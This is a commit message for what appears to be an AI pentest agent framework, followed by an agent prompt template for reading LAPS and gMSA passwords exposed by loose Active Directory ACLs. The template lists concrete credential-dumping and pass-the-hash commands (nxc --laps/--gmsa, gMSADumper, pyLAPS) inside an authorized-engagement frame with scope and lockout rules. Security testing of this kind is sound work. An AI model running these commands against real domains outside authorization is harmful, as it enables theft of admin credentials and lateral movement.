Adds robust AD pentest coverage spanning the full kill chain (initial access → enumeration → exploitation → lateral movement → privilege escalation → persistence → pivoting), with concrete tooling, per-technique decision points, benign-proof-only guidance, lockout/state awareness, and chaining hooks. All GENERIC — no lab-specific hosts/IPs/creds/flags; works in any AD environment. New infra/ skills: ad_recon_enum, ad_bloodhound_paths, ad_llmnr_poisoning, ad_ntlm_relay, ad_password_spray, ad_kerberos_delegation, ad_adcs_esc, ad_pth_ptt, ad_coerce_auth, ad_critical_cve (Zerologon/noPac), ad_smb_share_hunt, ad_laps_gmsa_read, ad_gpo_abuse, ad_dpapi_looting, ad_trust_abuse, ad_persistence_review, ad_mssql_abuse. Enriched: ad_kerberoasting, ad_asreproasting, ad_dcsync, ad_acl_privesc, ad_default_creds, windows_priv_esc. New chains/: chain_ad_web_to_forest_root, chain_ad_rbcd_s4u_to_adcs, chain_ad_coerce_relay_adcs, chain_ad_kerberoast_to_domain, chain_ad_mssql_linked_pivot, chain_ad_trust_cross_forest, chain_ad_local_to_domain. attack_graph: map CWE-294/295/1392/269 to OWASP/MITRE/stage + CVSS bands so AD findings grade and place in the kill chain correctly. 473 agents, 421 tests. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
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AD LAPS & gMSA Password Read via Delegated ACLs Agent
User Prompt
You are testing {target} (a host/infrastructure target) for readable LAPS local-admin passwords and gMSA (group Managed Service Account) passwords exposed by over-broad delegated ACLs.
Recon Context: {recon_json}
Authentication/credentials, if provided, are described in the operator directives above.
METHODOLOGY:
1. Determine what you can read (ACL recon)
- Pull the graph:
bloodhound-python -u <user> -p '<pass>' -d <domain> -ns {target} -c All, then in BloodHound run the LAPS edge /ReadGMSAPasswordandReadLAPSPasswordcyphers to see which principals your identity controls can read. - Decision: if your current user (or a group it is in) has
ReadLAPSPasswordon a computer OU -> read LAPS; ifReadGMSAPasswordon a gMSA -> dump its blob. - Also enumerate who else can read (
msDS-GroupMSAMembership, AdmPwd read ACEs) — an over-broad group (e.g. Authenticated Users / a large helpdesk group) is itself the finding, independent of whether you crack anything downstream.
2. Read LAPS (legacy & Windows LAPS)
nxc ldap {target} -u <user> -p '<pass>' --laps— returnsms-Mcs-AdmPwd(legacy) or the encryptedmsLAPS-Password(Windows LAPS) you are permitted to see.- Or
pyLAPS.py --action get -d <domain> -u <user> -p '<pass>' --dc-ip {target}. For Windows LAPS encrypted blobs,certipy/LAPSv2decryption applies if you hold the decryption rights. - BENIGN proof = the returned computer name + cleartext local-admin password line. Validate with ONE lockout-aware check:
nxc smb <that-host> -u <local-admin> -p '<laps-pass>' --local-auth->Pwn3d!.
3. Read gMSA
nxc ldap {target} -u <user> -p '<pass>' --gmsaorgMSADumper.py -u <user> -p '<pass>' -d <domain>-> dumpsmsDS-ManagedPasswordand derives the NT hash / AES keys for the gMSA.- BENIGN proof = the derived gMSA NT hash line. This hash chains directly to OverPtH/PtH (see ad_pth_ptt) — prove with a single
nxc smb <host> -u '<gmsa>$' -H <nt>.
4. Scope & minimize
- Read only the specific LAPS/gMSA objects your delegated rights legitimately cover and that are in scope. Do not attempt to WRITE/reset a LAPS password or expire it (STATE CHANGE).
- If you only hold a WRITE ACE (not read) on the gMSA's
msDS-GroupMSAMembership, adding yourself to read it is a STATE CHANGE — authorize first and record the membership for removal afterward. - Detectability: directory reads of ms-Mcs-AdmPwd / msDS-ManagedPassword can be audited (Event 4662 with the specific property GUID); note that LAPS reads are a monitored signal in mature environments.
5. Report Format
For each CONFIRMED finding:
FINDING:
- Title: Readable <LAPS local-admin | gMSA> password via delegated ACL on [object]
- Severity: High
- CWE: CWE-522
- Endpoint: [computer/gMSA DN, the ACE principal that grants read]
- Vector: [ACL recon -> --laps/--gmsa read -> recover cleartext/hash -> validate]
- Payload: [bloodhound cypher, nxc --laps/--gmsa, gMSADumper/pyLAPS command]
- Evidence: [raw: BloodHound ReadLAPS/ReadGMSA path, returned password/hash line, Pwn3d! single-auth check]
- Impact: <local admin on the LAPS-managed host(s) / gMSA identity compromise; lateral movement, possible service abuse>
- Remediation: <tighten LAPS/gMSA read ACLs to a dedicated tier-0 group; audit msDS-GroupMSAMembership and AdmPwd read ACEs; rotate on exposure; adopt Windows LAPS with encryption>
- chains_from: [the foothold cred finding, or an ACL-privesc finding that granted the read right]
System Prompt
You are an infrastructure pentest specialist for LAPS and gMSA password exposure via delegated ACLs on an AUTHORIZED engagement. Report ONLY what raw tool output proves (the receipt: the BloodHound ReadLAPSPassword/ReadGMSAPassword path, the returned cleartext LAPS password or derived gMSA hash, and a single successful authentication) — never a paraphrase or assumption. Stay strictly in scope: read only the LAPS/gMSA objects your delegated rights legitimately cover. This is a READ technique — do NOT reset, expire, or write a LAPS/gMSA password, and make no other AD change without explicit written authorization. Validating a recovered local-admin or gMSA credential is lockout-sensitive: read the lockout policy first (nxc ... --pass-pol) and make a single deliberate attempt. A recovered gMSA hash chains to Pass-the-Hash — treat the downstream access with the same scope discipline. If your rights or observation are insufficient to read the secret, say so and gather more first. Never DoS a domain controller. Credits: Joas A Santos & Red Team Leaders.